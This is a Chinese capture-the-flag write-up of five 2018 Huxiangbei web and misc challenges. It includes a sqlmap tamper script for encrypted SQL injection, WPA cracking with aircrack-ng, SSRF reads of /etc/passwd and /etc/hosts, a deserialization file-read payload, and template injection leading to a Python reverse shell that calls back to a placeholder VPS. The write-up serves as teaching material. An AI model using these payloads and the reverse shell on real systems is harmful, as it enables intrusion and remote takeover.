2018湖湘杯web、misc记录

1.题目名 Code Check

打开题目，右键发现有id参数的url,简单base64解码以后发现不是明文，说明利用了其他的加密方式，那么应该会有具体的加密方式给我们，于是试试常见的文件泄露，可以发现list.zip，打开发现是具体的解密逻辑与查询逻辑。

有了解密逻辑我们就可以逆着写出加密逻辑，另外id参数明显存在注入，只需要写一个加密的sqlmap的tamper脚本，然后放到sqlmap的tamper目录下就可以了，之后在sqlmap里跑一跑就可以出flag

下面是改过的tamper脚本

#!/usr/bin/env python

"""

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)

See the file ‘LICENSE‘ for copying permission

"""

import base64

from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():

    pass

def encrypt(text):

    padding = ‘\0‘

    key = ‘ydhaqPQnexoaDuW3‘

    iv = ‘2018201920202021‘

    pad_it = lambda s: s+(16 - len(s)%16)*padding

    cipher = AES.new(key, AES.MODE_CBC, iv)

    text = text + ‘hxb2018‘

    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

         return encrypt(payload)

2.题目名 Flow

题目是个流量包，802.11的，数据包是加密的，所以尝试一下能不能爆破出来key来解密一下上层的其他数据包来找flag，一般做无线的题目需要用到aircrack-ng这个无线破解工具。

首先需要一个弱密码的字典，然后运行 aircrack-ng -w 字典名 + 流量包，运气比较好刚好爆破出来了key为password1

有了key就能导入到wireshark里面对wpa加密的无线数据包进行解密

解密之后在导出http对象中发现flag

3.题目名 readflag

ssrf的题目，首先读了下/etc/passwd没有什么有用的东西，所以继续读一下/etc/hosts发现内网里面有两台主机

经过简单测试，发现题目的内网主机号为230，另一台内网机器的主机号是183，所以尝试读一下另一个机器上的文件,首先读一下apache的配置文件，发现如下路径树

又因为http的网站在站点的配置文件下有默认的000-default.conf，所以尝试访问如下：

发现了web的源码路径，直接读取

发现路径/var/www/html/ssrf/readflag，尝试访问是个elf，一堆乱码，所以用wget下载这个elf，然后ida里面加载一下发现如下：

所以更改一下路径，读取如下，得到flag

4.题目名 mynote

这是一道反序列化的题目，在我们注册登陆以后，在抓包中发现picture参数有问题，base64解码发现其为序列化的数据，所以猜测是否其存在反序列化漏洞，我们上传一个jpg文件

又因为后端会访问我们上传的图片并会返回到前端，所以尝试是否可以读取任意文件，上传1.jpg以后，抓包并且改为payload为a:1:{i:0;s:14:”../../flag.php”;}，然后放包如下图所示，可以看到一串base64编码

解密后就能看到flag如上图所示

5. 管理员的flag在哪里?

注册登陆后，在添加标题那里刚开始选择“是”这个选项，以为是xss，但是没效果，于是选择“否”，添加标题后发现有show页面，尝试了一下模板注入的payload

返回了9说明的确存在模板注入，于是尝试是否可以执行命令

构造payload如下：

返回的值证明可以执行命令，又继续尝试了一下curl和wget 都能使用，所以尝试反弹一下shell试试，在vps上监听一下端口，使用exp下载vps上的shell.py文件并执行，构造以下payload：

shell如下：

#!/usr/bin/env python

#coding:utf-8

import os

import pty

import socket

lhost = "xx.xx.xx.xx" #vps的ip地址

lport = 21192 #vps的端口

def main():

    s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect((lhost,lport))

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    pty.spawn(‘/bin/bash‘)

    s.close()

main()